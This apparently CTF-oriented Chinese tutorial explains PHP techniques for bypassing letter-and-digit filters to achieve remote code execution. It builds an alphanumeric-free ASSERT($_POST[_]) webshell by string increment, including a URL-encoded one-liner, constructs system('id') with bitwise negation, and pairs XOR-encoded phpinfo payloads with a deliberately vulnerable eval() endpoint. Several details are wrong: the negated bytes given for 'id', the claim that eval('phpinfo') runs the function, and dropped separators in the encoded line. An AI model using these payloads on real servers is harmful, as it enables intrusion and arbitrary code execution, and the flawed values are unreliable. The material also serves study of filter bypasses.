自增:
也就是说,`'a'++ => 'b'`,`'b'++ => 'c'`... 所以,我们只要能拿到一个变量,其值为`a`,通过自增操作即可获得a-z中所有字符。
无字母数字构造:
所有敏感字符串(ASSERT、_POST)通过自增动态生成,避免直接出现字母。
超全局变量利用:
通过 $_POST 动态接收攻击载荷。
动态函数调用:
利用 $___(值为 ASSERT)作为函数名调用。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为`Array`:
源码:
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // ASS
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__; // $_POST
$_=$$____;
$___($_POST[_]); // ASSERT($_POST[_]);
放到一排再url编码之后是:
%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b+%2f%2f+%24_%3d%27Array%27%3b%24_%3d%24_%5b%27!%27%3d%3d%27%40%27%5d%3b+%24___%3d%24_%3b+%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b+%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b+%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24___.%3d%24__%3b+%24____%3d%27_%27%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24____.%3d%24__%3b+%24_%3d%24%24____%3b%24___(%24_POST%5b_%5d)%3b+
取反:
在 PHP 中,取反(~) 是绕过字符过滤(如禁止字母、数字)实现 RCE(远程代码执行)的核心技术之一。其核心思想是通过 位运算 动态构造敏感字符(如 system、eval),从而绕过正则过滤。
源码:<?php
// 生成取反后的字符串
$func = ~'system'; // "\x8C\x86\x8C\x8B\x9A\x92"
$arg = ~'id'; // "\xA0\x8F"
// 构造 Payload
$payload = "(~\"\x8C\x86\x8C\x8B\x9A\x92\")(~\"\xA0\x8F\");";
echo urlencode($payload);
PHP 中的取反运算符 ~ 会对字符的二进制位进行翻转(0 变 1,1 变 0)。例如:
~'A' → 结果为 "\xBE"。
若将取反后的字符再次取反,即可还原原始字符:~~'A' → 'A'
1. 目标字符串拆分
执行 system('id'):
system → 拆分为字符 s、y、s、t、e、m。
id → 拆分为字符 i、d。
2. 生成取反后的字符串
通过 PHP 生成取反后的二进制形式:
$func = 'system';
$arg = 'id';
// 取反后的字符串(注意转义)
$func_neg = ~$func; // "\x8C\x86\x8C\x8B\x9A\x92"
$arg_neg = ~$arg; // "\xA0\x8F"
3构造无字母数字的 Payload
<?php
(~"\x8C\x86\x8C\x8B\x9A\x92")(~"\xA0\x8F"); // 等价于 system('id');
异或:
若 A ^ KEY = B,则 B ^ KEY = A。
通过将敏感字符串(如 phpinfo)与固定密钥(如 0xFF)异或,生成非字母数字字符的 Payload。当服务端对 Payload 再次异或相同密钥时,即可还原原始字符串并执行代码。此方法常用于绕过 a-zA-Z0-9 字符过滤规则。
生成异或字符串
需要执行 phpinfo(),按以下步骤生成 Payload:
<?php
$a = 'phpinfo';
for ($i = 0; $i < strlen($a); $i++) {
echo '%' . dechex(ord($a[$i]) ^ 0xFF); // 异或每个字符
}
echo "^";
for ($j = 0; $j < strlen($a); $j++) {
echo '%FF'; // 密钥部分(全 FF)
}
?>
输出:%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF
假设服务端存在如下漏洞代码:
<?php
$input = $_GET['payload'];
list($part1, $part2) = explode('^', $input);
$code = urldecode($part1) ^ urldecode($part2);
eval($code);
?>
URL 解码:
%8F%97%8F%96%91%99%90 → 二进制值 \x8F\x97\x8F\x96\x91\x99\x90
%FF%FF%FF%FF%FF%FF%FF → 二进制值 \xFF\xFF\xFF\xFF\xFF\xFF\xFF
异或还原:
\x8F ^ \xFF = p
\x97 ^ \xFF = h
\x8F ^ \xFF = p
\x96 ^ \xFF = i
\x91 ^ \xFF = n
\x99 ^ \xFF = f
\x90 ^ \xFF = o
最终还原字符串 phpinfo,执行 eval('phpinfo')。
源码:<?php
function generate_xor_payload($command, $key = 0xFF) {
$encoded = '';
$key_part = '';
for ($i = 0; $i < strlen($command); $i++) {
$encoded .= '%' . dechex(ord($command[$i]) ^ $key);
$key_part .= '%' . dechex($key);
}
return $encoded . '^' . $key_part;
}
$payload = generate_xor_payload('phpinfo');
echo "Payload: " . $payload . "\n";
// 输出:%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF
// 发送请求(漏洞 URL 为 http://localhost:3000/flag.php)
$url = 'http://localhost:3000/flag.php?payload=' . urlencode($payload);
file_get_contents($url);
?>
异或绕过技术的核心要点
1. 可逆性
异或运算是 对称加密 的基础,两次异或同一密钥可还原原始数据:
$original = 'phpinfo';
$key = "\xFF";
$encoded = $original ^ $key;
$decoded = $encoded ^ $key; // 还原为 'phpinfo'
2. 绕过字符过滤
异或后的字符通常是 非字母数字(如 \x8F、\x97),可绕过正则过滤规则:
preg_match('/[a-zA-Z0-9]/', $payload); // 返回 false
3. 动态执行
通过 eval 或 assert 动态执行还原后的代码:
eval($decoded . '();'); // 执行 phpinfo();